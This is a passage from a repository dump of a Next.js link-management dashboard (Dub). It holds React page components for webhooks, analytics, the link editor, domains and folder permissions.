    "content": "import { createWebhookSecret } from \"@/lib/webhook/secret\";\nimport NewWebhookPageClient from \"./page-client\";\n\nexport default async function NewWebhookPage() {\n  return <NewWebhookPageClient newSecret={createWebhookSecret()} />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/webhooks/page-client.tsx",
    "content": "\"use client\";\n\nimport useWebhooks from \"@/lib/swr/use-webhooks\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport EmptyState from \"@/ui/shared/empty-state\";\nimport WebhookCard from \"@/ui/webhooks/webhook-card\";\nimport WebhookPlaceholder from \"@/ui/webhooks/webhook-placeholder\";\nimport { Webhook } from \"lucide-react\";\n\nexport default function WebhooksPageClient() {\n  const { slug, plan } = useWorkspace();\n\n  const { webhooks, isLoading } = useWebhooks();\n\n  const needsHigherPlan = plan === \"free\" || plan === \"pro\";\n\n  if (needsHigherPlan) {\n    return (\n      <div className=\"rounded-md border border-neutral-200 bg-white p-10\">\n        <EmptyState\n          icon={Webhook}\n          title=\"Webhooks\"\n          description=\"Webhooks allow you to receive HTTP requests whenever a specific event (eg: someone clicked your link) occurs in Dub.\"\n          learnMore=\"https://d.to/webhooks\"\n          buttonText=\"Upgrade to Business\"\n          buttonLink={`/${slug}/upgrade`}\n        />\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"grid gap-5\">\n      <div className=\"animate-fade-in\">\n        {!isLoading ? (\n          webhooks && webhooks.length > 0 ? (\n            <div className=\"grid grid-cols-1 gap-3\">\n              {webhooks.map((webhook) => (\n                <WebhookCard {...webhook} key={webhook.id} />\n              ))}\n            </div>\n          ) : (\n            <div className=\"flex flex-col items-center gap-4 rounded-xl border border-neutral-200 py-10\">\n              <EmptyState\n                icon={Webhook}\n                title=\"You haven't set up any webhooks yet.\"\n                description=\"Webhooks allow you to receive HTTP requests whenever a specific event (eg: someone clicked your link) occurs in Dub.\"\n                learnMore=\"https://d.to/webhooks\"\n              />\n            </div>\n          )\n        ) : (\n          <div className=\"grid grid-cols-1 gap-3\">\n            {Array.from({ length: 3 }).map((_, idx) => (\n              <WebhookPlaceholder key={idx} />\n            ))}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/webhooks/page.tsx",
    "content": "import WebhooksPageClient from \"./page-client\";\n\nexport default function WebhooksPage() {\n  return <WebhooksPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/analytics/client.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport WorkspaceExceededEvents from \"@/ui/workspaces/workspace-exceeded-events\";\nimport { ReactNode } from \"react\";\n\nexport default function AnalyticsClient({\n  children,\n  eventsPage,\n}: {\n  children: ReactNode;\n  eventsPage?: boolean;\n}) {\n  const { exceededEvents, loading, plan } = useWorkspace();\n\n  if (loading) {\n    return <LayoutLoader />;\n  }\n\n  if (exceededEvents && !(plan === \"pro\" && eventsPage)) {\n    return <WorkspaceExceededEvents />;\n  }\n\n  return children;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/analytics/page.tsx",
    "content": "import Analytics from \"@/ui/analytics\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { Suspense } from \"react\";\nimport AnalyticsClient from \"./client\";\n\nexport default function WorkspaceAnalytics() {\n  return (\n    <Suspense fallback={<LayoutLoader />}>\n      <PageContent title=\"Analytics\">\n        <AnalyticsClient>\n          <Analytics />\n        </AnalyticsClient>\n      </PageContent>\n    </Suspense>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/auth.tsx",
    "content": "\"use client\";\n\nimport { ErrorCodes } from \"@/lib/api/error-codes\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { notFound, redirect, useParams } from \"next/navigation\";\nimport { ReactNode } from \"react\";\n\nexport default function WorkspaceAuth({ children }: { children: ReactNode }) {\n  const { slug } = useParams();\n  const { loading, error } = useWorkspace();\n\n  if (loading) {\n    return <LayoutLoader />;\n  }\n\n  if (error) {\n    if (error.status === ErrorCodes.not_found) {\n      notFound();\n    } else if (\n      [ErrorCodes.invite_pending, ErrorCodes.invite_expired].includes(\n        error.status,\n      )\n    ) {\n      redirect(`/${slug}/invite`);\n    }\n  }\n\n  return children;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/layout.tsx",
    "content": "import { ReactNode } from \"react\";\nimport WorkspaceAuth from \"./auth\";\n\nexport default function WorkspaceLayout({ children }: { children: ReactNode }) {\n  return <WorkspaceAuth>{children}</WorkspaceAuth>;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/[...link]/page-client.tsx",
    "content": "\"use client\";\n\nimport useLink from \"@/lib/swr/use-link\";\nimport usePartner from \"@/lib/swr/use-partner\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ExpandedLinkProps } from \"@/lib/types\";\nimport { LinkAnalyticsBadge } from \"@/ui/links/link-analytics-badge\";\nimport { LinkBuilderDestinationUrlInput } from \"@/ui/links/link-builder/controls/link-builder-destination-url-input\";\nimport { LinkBuilderFolderSelector } from \"@/ui/links/link-builder/controls/link-builder-folder-selector\";\nimport { LinkBuilderShortLinkInput } from \"@/ui/links/link-builder/controls/link-builder-short-link-input\";\nimport { LinkCommentsInput } from \"@/ui/links/link-builder/controls/link-comments-input\";\nimport { ConversionTrackingToggle } from \"@/ui/links/link-builder/conversion-tracking-toggle\";\nimport {\n  DraftControls,\n  DraftControlsHandle,\n} from \"@/ui/links/link-builder/draft-controls\";\nimport { LinkActionBar } from \"@/ui/links/link-builder/link-action-bar\";\nimport { LinkBuilderHeader } from \"@/ui/links/link-builder/link-builder-header\";\nimport {\n  LinkBuilderProvider,\n  LinkFormData,\n} from \"@/ui/links/link-builder/link-builder-provider\";\nimport { LinkCreatorInfo } from \"@/ui/links/link-builder/link-creator-info\";\nimport { LinkFeatureButtons } from \"@/ui/links/link-builder/link-feature-buttons\";\nimport { LinkPartnerDetails } from \"@/ui/links/link-builder/link-partner-details\";\nimport { LinkPreview } from \"@/ui/links/link-builder/link-preview\";\nimport { OptionsList } from \"@/ui/links/link-builder/options-list\";\nimport { QRCodePreview } from \"@/ui/links/link-builder/qr-code-preview\";\nimport { TagSelect } from \"@/ui/links/link-builder/tag-select\";\nimport { useLinkBuilderSubmit } from \"@/ui/links/link-builder/use-link-builder-submit\";\nimport { useMetatags } from \"@/ui/links/link-builder/use-metatags\";\nimport { LinkControls } from \"@/ui/links/link-controls\";\nimport {\n  Button,\n  Check,\n  Copy,\n  useCopyToClipboard,\n  useKeyboardShortcut,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { redirect, useParams, useRouter } from \"next/navigation\";\nimport { memo, useEffect, useRef, useState } from \"react\";\nimport { useFormContext, useFormState } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\nexport function LinkPageClient() {\n  const { slug: workspaceSlug, link: linkParams } = useParams<{\n    slug: string;\n    link: string | string[];\n  }>();\n\n  const linkParts = Array.isArray(linkParams) ? linkParams : null;\n\n  if (!linkParts) redirect(`/${workspaceSlug}/links`);\n\n  const domain = linkParts[0];\n  const slug = linkParts.length > 1 ? linkParts.slice(1).join(\"/\") : \"_root\";\n\n  const router = useRouter();\n  const workspace = useWorkspace();\n\n  const { link } = useLink(\n    {\n      domain,\n      slug,\n    },\n    {\n      keepPreviousData: true,\n      // doing onErrorRetry to avoid race condiition for when a link's domain / key is updated\n      onErrorRetry: (error, _key, _config, revalidate, { retryCount }) => {\n        if (error.status === 401 || error.status === 404) {\n          if (retryCount > 1) {\n            router.push(`/${workspace.slug}/links`);\n            return;\n          }\n        }\n        // Default retry behavior for other errors\n        setTimeout(() => revalidate({ retryCount }), 5000);\n      },\n    },\n  );\n\n  return link ? (\n    <LinkBuilderProvider props={link} workspace={workspace} modal={false}>\n      <LinkBuilder link={link} />\n    </LinkBuilderProvider>\n  ) : (\n    <LoadingSkeleton />\n  );\n}\n\nfunction LinkBuilder({ link }: { link: ExpandedLinkProps }) {\n  const router = useRouter();\n  const workspace = useWorkspace();\n\n  const { isDesktop } = useMediaQuery();\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  const { control, handleSubmit, reset, getValues } =\n    useFormContext<LinkFormData>();\n  const { isSubmitSuccessful, isDirty } = useFormState({ control });\n\n  const draftControlsRef = useRef<DraftControlsHandle>(null);\n\n  const onSubmitSuccess = (data: LinkFormData) => {\n    draftControlsRef.current?.onSubmitSuccessful();\n\n    router.replace(`/${workspace.slug}/links/${data.domain}/${data.key}`, {\n      scroll: false,\n    });\n  };\n\n  useEffect(() => {\n    if (isSubmitSuccessful)\n      reset(getValues(), { keepValues: true, keepDirty: false });\n  }, [isSubmitSuccessful, reset, getValues]);\n\n  const onSubmit = useLinkBuilderSubmit({\n    onSuccess: onSubmitSuccess,\n  });\n\n  useMetatags();\n\n  // Go back to `/links` when ESC is pressed\n  useKeyboardShortcut(\"Escape\", () => router.push(`/${workspace.slug}/links`), {\n    enabled: !isDirty,\n  });\n\n  // Save when CMD+S or CTRL+S is pressed\n  useKeyboardShortcut([\"meta+s\", \"ctrl+s\"], () => handleSubmit(onSubmit)(), {\n    enabled: isDirty,\n  });\n\n  const { partner, loading: isLoadingPartner } = usePartner({\n    partnerId: link?.partnerId ?? null,\n  });\n\n  const [isChangingLink, setIsChangingLink] = useState(false);\n\n  return (\n    <div className=\"flex min-h-[calc(100dvh-var(--page-top-margin)-var(--page-bottom-margin)-1px)] flex-col rounded-t-[inherit] bg-white\">\n      <div className=\"py-2 pl-4 pr-5\">\n        <LinkBuilderHeader\n          onSelectLink={(selectedLink) => {\n            if (selectedLink.id === link.id) return;\n\n            if (isDirty) {\n              if (\n                !confirm(\n                  \"You have unsaved changes. Are you sure you want to continue?\",\n                )\n              )\n                return;\n            }\n\n            setIsChangingLink(true);\n            router.push(\n              `/${workspace.slug}/links/${selectedLink.domain}/${selectedLink.key}`,\n            );\n          }}\n          className=\"p-0\"\n        >\n          <div\n            className={cn(\n              \"flex min-w-0 items-center gap-2 transition-opacity\",\n              isChangingLink && \"opacity-50\",\n            )}\n          >\n            <DraftControls\n              ref={draftControlsRef}\n              props={link}\n              workspaceId={workspace.id!}\n            />\n            <Button\n              icon={\n                <div className=\"relative size-4\">\n                  <div\n                    className={cn(\n                      \"absolute inset-0 transition-[transform,opacity]\",\n                      copied && \"translate-y-1 opacity-0\",\n                    )}\n                  >\n                    <Copy className=\"size-4\" />\n                  </div>\n                  <div\n                    className={cn(\n                      \"absolute inset-0 transition-[transform,opacity]\",\n                      !copied && \"translate-y-1 opacity-0\",\n                    )}\n                  >\n                    <Check className=\"size-4\" />\n                  </div>\n                </div>\n              }\n              text=\"Copy link\"\n              variant=\"secondary\"\n              className=\"xs:w-fit h-7 px-2.5\"\n              onClick={() => {\n                copyToClipboard(link.shortLink).then(() => {\n                  toast.success(\"Link copied to clipboard\");\n                });\n              }}\n            />\n            <div className=\"shrink-0\">\n              <LinkAnalyticsBadge link={link} />\n            </div>\n            <Controls link={link} />\n          </div>\n        </LinkBuilderHeader>\n      </div>\n      <form\n        className={cn(\n          \"grid grow grid-cols-1 transition-opacity lg:grid-cols-[minmax(0,1fr)_300px]\",\n          \"divide-neutral-200 border-t border-neutral-200 lg:divide-x lg:divide-y-0\",\n          isChangingLink && \"opacity-50\",\n        )}\n        onSubmit={handleSubmit(onSubmit)}\n      >\n        <div className=\"relative flex min-h-full flex-col px-4 md:px-6\">\n          <div className=\"relative mx-auto flex w-full max-w-xl flex-col gap-7 pb-4 pt-10 lg:pb-10\">\n            <LinkBuilderDestinationUrlInput />\n\n            <LinkBuilderShortLinkInput />\n\n            <TagSelect />\n\n            <LinkCommentsInput />\n\n            <ConversionTrackingToggle />\n\n            {isDesktop && (\n              <LinkFeatureButtons className=\"mt-1 flex-wrap\" variant=\"page\" />\n            )}\n\n            <OptionsList />\n\n            {/* Partner details */}\n            {(partner || isLoadingPartner) && (\n              <div className=\"mt-1 flex flex-col gap-2 border-t border-neutral-200 pt-8\">\n                <h2 className=\"text-base font-semibold text-neutral-800\">\n                  Partner Details\n                </h2>\n\n                <LinkPartnerDetails link={link} partner={partner} />\n              </div>\n            )}\n            {/* Creator info at the bottom (desktop only) */}\n            {isDesktop && <LinkCreatorInfo link={link} />}\n          </div>\n          {isDesktop && (\n            <>\n              <div className=\"grow\" />\n              <LinkActionBar />\n            </>\n          )}\n        </div>\n        <div className=\"px-4 md:px-6 lg:bg-neutral-50 lg:px-0\">\n          <div className=\"mx-auto max-w-xl divide-neutral-200 lg:divide-y\">\n            <div className=\"py-4 lg:px-4 lg:py-6\">\n              <LinkBuilderFolderSelector />\n            </div>\n            <div className=\"py-4 lg:px-4 lg:py-6\">\n              <QRCodePreview />\n            </div>\n            <div className=\"py-4 lg:px-4 lg:py-6\">\n              <LinkPreview />\n            </div>\n            {!isDesktop && <LinkCreatorInfo link={link} />}\n          </div>\n        </div>\n        {!isDesktop && (\n          <LinkActionBar>\n            <LinkFeatureButtons variant=\"page\" />\n          </LinkActionBar>\n        )}\n      </form>\n    </div>\n  );\n}\n\nconst Controls = memo(({ link }: { link: ExpandedLinkProps }) => {\n  const router = useRouter();\n  const { slug } = useWorkspace();\n  const [openPopover, setOpenPopover] = useState(false);\n  const { setValue, getValues, reset } = useFormContext<LinkFormData>();\n\n  return (\n    <div>\n      <LinkControls\n        link={link}\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n        shortcutsEnabled={openPopover}\n        options={[\"duplicate\", \"id\", \"archive\", \"transfer\", \"delete\"]}\n        onMoveSuccess={(folderId) => {\n          setValue(\"folderId\", folderId);\n          reset(getValues(), { keepValues: true, keepDirty: false });\n        }}\n        onTransferSuccess={() => router.push(`/${slug}/links`)}\n        onDeleteSuccess={() => router.push(`/${slug}/links`)}\n        className=\"h-7 border border-neutral-200\"\n        iconClassName=\"size-4\"\n      />\n    </div>\n  );\n});\n\nfunction LoadingSkeleton() {\n  return (\n    <div className=\"flex min-h-[calc(100dvh-var(--page-top-margin)-var(--page-bottom-margin)-1px)] flex-col rounded-t-[inherit] bg-white\">\n      <div className=\"flex items-center justify-between gap-4 py-2.5 pl-4 pr-5\">\n        <div className=\"h-8 w-64 max-w-full animate-pulse rounded-md bg-neutral-100\" />\n        <div className=\"h-7 w-32 max-w-full animate-pulse rounded-md bg-neutral-100\" />\n      </div>\n      <div\n        className={cn(\n          \"grid grow grid-cols-1 lg:grid-cols-[minmax(0,1fr)_300px]\",\n          \"divide-neutral-200 border-t border-neutral-200 lg:divide-x lg:divide-y-0\",\n        )}\n      >\n        <div className=\"relative flex min-h-full flex-col px-4 md:px-6\">\n          <div className=\"relative mx-auto flex w-full max-w-xl flex-col gap-7 pb-4 pt-10 lg:pb-10\">\n            {[\"h-[66px]\", \"h-[66px]\", \"h-[64px]\", \"h-[104px]\"].map(\n              (className, idx) => (\n                <div key={idx} className={cn(\"flex flex-col gap-2\", className)}>\n                  <div className=\"h-5 w-24 animate-pulse rounded-md bg-neutral-100\" />\n                  <div className=\"grow animate-pulse rounded-md bg-neutral-100\" />\n                </div>\n              ),\n            )}\n          </div>\n        </div>\n        <div className=\"px-4 md:px-6 lg:bg-neutral-50 lg:px-0\">\n          <div className=\"mx-auto max-w-xl divide-neutral-200 lg:divide-y\"></div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/[...link]/page.tsx",
    "content": "import { PageContentOld } from \"@/ui/layout/page-content\";\nimport { LinkPageClient } from \"./page-client\";\n\nexport default function LinkPage() {\n  return (\n    <PageContentOld\n      className=\"h-full min-h-full md:mt-0 md:flex md:flex-col md:bg-transparent md:py-0\"\n      contentWrapperClassName=\"h-full grow pt-0 md:rounded-tl-2xl\"\n    >\n      <LinkPageClient />\n    </PageContentOld>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/domains/default/page.tsx",
    "content": "export { default } from \"../../../(ee)/settings/domains/default/page\";\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/domains/email/page.tsx",
    "content": "export { default } from \"../../../(ee)/settings/domains/email/page\";\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/domains/layout.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ReactNode } from \"react\";\nimport { DomainsHeader } from \"../../(ee)/settings/domains/header\";\n\nexport default function DomainsLayout({ children }: { children: ReactNode }) {\n  return (\n    <PageContent\n      title=\"Domains\"\n      titleInfo={{\n        title:\n          \"Learn more about how to add, configure, and verify custom domains on Dub.\",\n        href: \"https://dub.co/help/article/how-to-add-custom-domain\",\n      }}\n    >\n      <PageWidthWrapper>\n        <div className=\"grid gap-4\">\n          <DomainsHeader baseUrl=\"/links/domains\" />\n          {children}\n        </div>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/domains/page.tsx",
    "content": "export { default } from \"../../(ee)/settings/domains/page\";\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/folders/[folderId]/members/page-client.tsx",
    "content": "\"use client\";\n\nimport { updateUserRoleInFolder } from \"@/lib/actions/folders/update-folder-user-role\";\nimport {\n  FOLDER_USER_ROLE,\n  FOLDER_WORKSPACE_ACCESS,\n} from \"@/lib/folder/constants\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { useFolderLinkCount } from \"@/lib/swr/use-folder-link-count\";\nimport {\n  useCheckFolderPermission,\n  useFolderPermissions,\n} from \"@/lib/swr/use-folder-permissions\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Folder, FolderUser } from \"@/lib/types\";\nimport { FolderIcon } from \"@/ui/folders/folder-icon\";\nimport { RequestFolderEditAccessButton } from \"@/ui/folders/request-edit-button\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { FolderUserRole } from \"@dub/prisma/client\";\nimport { BlurImage, Globe } from \"@dub/ui\";\nimport { cn, fetcher, nFormatter, OG_AVATAR_URL, pluralize } from \"@dub/utils\";\nimport { ChevronLeft } from \"lucide-react\";\nimport { useSession } from \"next-auth/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { redirect } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\n\nexport const FolderMembersPageClient = ({ folderId }: { folderId: string }) => {\n  const [isUpdating, setIsUpdating] = useState(false);\n  const workspace = useWorkspace();\n  const { canManageFolderPermissions } = getPlanCapabilities(workspace.plan);\n\n  const [workspaceAccessLevel, setWorkspaceAccessLevel] = useState<string>();\n\n  const { isLoading: isLoadingPermissions } = useFolderPermissions();\n  const canUpdateFolder = useCheckFolderPermission(folderId, \"folders.write\");\n  const canMoveLinks = useCheckFolderPermission(\n    folderId,\n    \"folders.links.write\",\n  );\n\n  const {\n    data: folder,\n    isLoading: isFolderLoading,\n    mutate: mutateFolder,\n  } = useSWR<Folder>(\n    `/api/folders/${folderId}?workspaceId=${workspace.id}`,\n    fetcher,\n  );\n\n  const { folderLinkCount } = useFolderLinkCount({ folderId });\n\n  const {\n    data: users,\n    isLoading: isUsersLoading,\n    isValidating: isUsersValidating,\n    mutate: mutateUsers,\n  } = useSWR<FolderUser[]>(\n    `/api/folders/${folderId}/users?workspaceId=${workspace.id}`,\n    fetcher,\n    {\n      revalidateOnFocus: false,\n      keepPreviousData: true,\n    },\n  );\n\n  const updateWorkspaceAccessLevel = async (accessLevel: string) => {\n    setIsUpdating(true);\n    setWorkspaceAccessLevel(accessLevel);\n\n    const response = await fetch(\n      `/api/folders/${folderId}?workspaceId=${workspace.id}`,\n      {\n        method: \"PATCH\",\n        headers: { \"Content-Type\": \"application/json\" },\n        body: JSON.stringify({\n          accessLevel: accessLevel === \"\" ? null : accessLevel,\n        }),\n      },\n    );\n\n    setIsUpdating(false);\n\n    if (!response.ok) {\n      const error = await response.json();\n      toast.error(error.message);\n      return;\n    }\n\n    toast.success(\"Workspace access updated!\");\n    await Promise.all([mutateFolder(), mutateUsers()]);\n  };\n\n  if (!isFolderLoading && !folder) {\n    redirect(`/${workspace.slug}/links/folders`);\n  }\n\n  if (!canManageFolderPermissions) {\n    redirect(`/${workspace.slug}/links/folders`);\n  }\n  return (\n    <>\n      <Link\n        href={`/${workspace.slug}/links/folders`}\n        className=\"flex items-center gap-x-1\"\n      >\n        <ChevronLeft className=\"size-4\" />\n        <p className=\"text-sm font-medium text-neutral-500\">View all folders</p>\n      </Link>\n\n      <div className=\"rounded-lg border border-neutral-200 bg-white\">\n        <div className=\"flex items-center justify-between border-b px-5 py-6 sm:flex-row sm:space-y-0\">\n          {folder ? (\n            <>\n              <div className=\"flex items-center gap-x-6\">\n                <FolderIcon folder={folder} />\n                <div className=\"flex flex-col gap-2\">\n                  <span className=\"text-sm font-semibold leading-none text-neutral-900\">\n                    {folder.name}\n                  </span>\n                  <div className=\"flex items-center gap-1\">\n                    <Globe className=\"size-3.5 text-neutral-500\" />\n                    <span className=\"text-[13px] font-normal leading-[14.30px] text-neutral-500\">\n                      {nFormatter(folderLinkCount, { full: true })}{\" \"}\n                      {pluralize(\"link\", folderLinkCount)}\n                    </span>\n                  </div>\n                </div>\n              </div>\n\n              {canUpdateFolder && !isLoadingPermissions && (\n                <div className=\"relative flex items-center\">\n                  <BlurImage\n                    src={workspace.logo || `${OG_AVATAR_URL}${workspace.name}`}\n                    alt={workspace.name || \"Workspace logo\"}\n                    className=\"absolute left-2 size-6 shrink-0 overflow-hidden rounded-full\"\n                    width={20}\n                    height={20}\n                  />\n\n                  <select\n                    className=\"appearance-none rounded-md border border-neutral-200 bg-white pl-10 pr-8 text-sm text-neutral-900 focus:border-neutral-300 focus:ring-neutral-300\"\n                    value={workspaceAccessLevel || folder?.accessLevel || \"\"}\n                    disabled={isUpdating}\n                    onChange={(e) => {\n                      updateWorkspaceAccessLevel(e.target.value);\n                    }}\n                  >\n                    {Object.keys(FOLDER_WORKSPACE_ACCESS).map((access) => (\n                      <option value={access} key={access}>\n                        {FOLDER_WORKSPACE_ACCESS[access]}\n                      </option>\n                    ))}\n                    <option value=\"\" key=\"no-access\">\n                      No access\n                    </option>\n                  </select>\n                </div>\n              )}\n\n              {!canMoveLinks && !isLoadingPermissions && (\n                <RequestFolderEditAccessButton\n                  folderId={folder.id}\n                  workspaceId={workspace.id!}\n                />\n              )}\n            </>\n          ) : (\n            <FolderPlaceholder />\n          )}\n        </div>\n\n        <div className=\"grid divide-y divide-neutral-200\">\n          {isUsersValidating || isUsersLoading\n            ? Array.from({ length: 5 }).map((_, i) => (\n                <FolderUserPlaceholder key={i} />\n              ))\n            : folder &&\n              users?.map((user) => (\n                <FolderUserRow key={user.id} user={user} folder={folder} />\n              ))}\n        </div>\n      </div>\n    </>\n  );\n};\n\nconst FolderUserRow = ({\n  user,\n  folder,\n}: {\n  user: FolderUser;\n  folder: Folder;\n}) => {\n  const { data: session } = useSession();\n  const { id: workspaceId } = useWorkspace();\n  const [role, setRole] = useState<FolderUserRole>(user.role);\n\n  const canUpdateRole = useCheckFolderPermission(\n    folder.id,\n    \"folders.users.write\",\n  );\n\n  const { executeAsync, isPending } = useAction(updateUserRoleInFolder, {\n    onSuccess: () => {\n      toast.success(\"Role updated!\");\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const isCurrentUser = user.email === session?.user?.email;\n  const disableRoleUpdate = !canUpdateRole || isPending || isCurrentUser;\n\n  return (\n    <div\n      key={user.id}\n      className=\"flex items-center justify-between space-x-3 px-5 py-3\"\n    >\n      <div className=\"flex items-start space-x-3\">\n        <div className=\"flex items-center space-x-3\">\n          <UserAvatar user={user} />\n          <div className=\"flex flex-col\">\n            <h3 className=\"text-xs font-medium text-neutral-800\">\n              {user.name || user.email}\n            </h3>\n            <p className=\"text-xs font-normal text-neutral-400\">{user.email}</p>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"flex items-center gap-x-3\">\n        <select\n          className={cn(\n            \"rounded-md border border-neutral-200 text-xs text-neutral-900 focus:border-neutral-600 focus:ring-neutral-600\",\n            {\n              \"cursor-not-allowed bg-neutral-100\": disableRoleUpdate,\n            },\n          )}\n          value={role === null ? \"\" : role}\n          disabled={disableRoleUpdate}\n          onChange={(e) => {\n            if (!folder || !workspaceId) {\n              return;\n            }\n\n            const role = (e.target.value as FolderUserRole) || null;\n\n            executeAsync({\n              workspaceId,\n              folderId: folder.id,\n              userId: user.id,\n              role,\n            });\n\n            setRole(role);\n          }}\n        >\n          {Object.keys(FOLDER_USER_ROLE).map((role) => (\n            <option value={role} key={role}>\n              {FOLDER_USER_ROLE[role]}\n            </option>\n          ))}\n\n          <option value=\"\" key=\"no-access\">\n            No access\n          </option>\n        </select>\n      </div>\n    </div>\n  );\n};\n\nconst FolderPlaceholder = () => (\n  <>\n    <div className=\"flex items-center gap-x-4\">\n      <div className=\"h-10 w-10 animate-pulse rounded-full bg-neutral-200\" />\n      <div className=\"flex flex-col gap-2\">\n        <div className=\"h-4 w-32 animate-pulse rounded bg-neutral-200\" />\n        <div className=\"flex items-center gap-1\">\n          <div className=\"h-3.5 w-3.5 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"h-3 w-24 animate-pulse rounded bg-neutral-200\" />\n        </div>\n      </div>\n    </div>\n    <div className=\"h-6 w-24 animate-pulse rounded bg-neutral-200\" />\n  </>\n);\n\nconst FolderUserPlaceholder = () => (\n  <div className=\"flex items-center justify-between space-x-3 px-5 py-3\">\n    <div className=\"flex items-center space-x-3\">\n      <div className=\"h-10 w-10 animate-pulse rounded-full bg-neutral-200\" />\n      <div className=\"flex flex-col\">\n        <div className=\"h-4 w-24 animate-pulse rounded bg-neutral-200\" />\n        <div className=\"mt-1 h-3 w-32 animate-pulse rounded bg-neutral-200\" />\n      </div>\n    </div>\n    <div className=\"h-3 w-24 animate-pulse rounded bg-neutral-200\" />\n  </div>\n);\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/folders/[folderId]/members/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { FolderMembersPageClient } from \"./page-client\";\n\nexport default async function FolderMembersPage(props: {\n  params: Promise<{ folderId: string }>;\n}) {\n  const params = await props.params;\n  const { folderId } = params;\n\n  return (\n    <PageContent\n      title=\"Folder Permissions\"\n      titleInfo={{\n        title:\n          \"Learn how to set role-based access control for your folders to limit access to links for select teammates.\",\n        href: \"https://dub.co/help/article/folders-rbac\",\n      }}\n    >\n      <PageWidthWrapper className=\"grid gap-4\">\n        <FolderMembersPageClient folderId={folderId} />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/folders/page-client.tsx",
    "content": "\"use client\";\n\nimport { unsortedLinks } from \"@/lib/folder/constants\";\nimport useFolders from \"@/lib/swr/use-folders\";\nimport useFoldersCount from \"@/lib/swr/use-folders-count\";\nimport { Folder } from \"@/lib/types\";\nimport { FOLDERS_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/folders\";\nimport { FolderCard } from \"@/ui/folders/folder-card\";\nimport { FolderCardPlaceholder } from \"@/ui/folders/folder-card-placeholder\";\nimport { useAddFolderModal } from \"@/ui/modals/add-folder-modal\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport { PaginationControls, usePagination, useRouterStuff } from \"@dub/ui\";\nimport { useSearchParams } from \"next/navigation\";\n\nconst allLinkFolder: Folder = {\n  type: \"default\",\n  createdAt: new Date(),\n  updatedAt: new Date(),\n  ...unsortedLinks,\n};\n\nexport const FoldersPageClient = () => {\n  const searchParams = useSearchParams();\n  const { queryParams } = useRouterStuff();\n\n  const { folders, isValidating } = useFolders({\n    includeParams: [\"search\", \"page\"],\n    options: {\n      keepPreviousData: true,\n    },\n  });\n\n  const { data: foldersCount } = useFoldersCount({\n    includeParams: [\"search\", \"page\"],\n  });\n\n  const showAllLinkFolder =\n    !searchParams.get(\"search\") || folders?.length === 0;\n\n  const { pagination, setPagination } = usePagination(FOLDERS_MAX_PAGE_SIZE);\n\n  return (\n    <div className=\"grid grid-cols-1 gap-4\">\n      <div className=\"grid gap-5\">\n        <div className=\"flex w-full flex-wrap items-center justify-between gap-3 sm:w-auto\">\n          <div className=\"w-full md:w-56 lg:w-64\">\n            <SearchBoxPersisted\n              loading={isValidating}\n              onChangeDebounced={(t) => {\n                if (t) {\n                  queryParams({ set: { search: t }, del: \"page\" });\n                } else {\n                  queryParams({ del: \"search\" });\n                }\n              }}\n            />\n          </div>\n        </div>\n\n        <div className=\"grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-3\">\n          {!folders ? (\n            Array.from({ length: 6 }).map((_, idx) => (\n              <FolderCardPlaceholder key={idx} />\n            ))\n          ) : (\n            <>\n              {showAllLinkFolder && <FolderCard folder={allLinkFolder} />}\n              {folders?.map((folder) => (\n                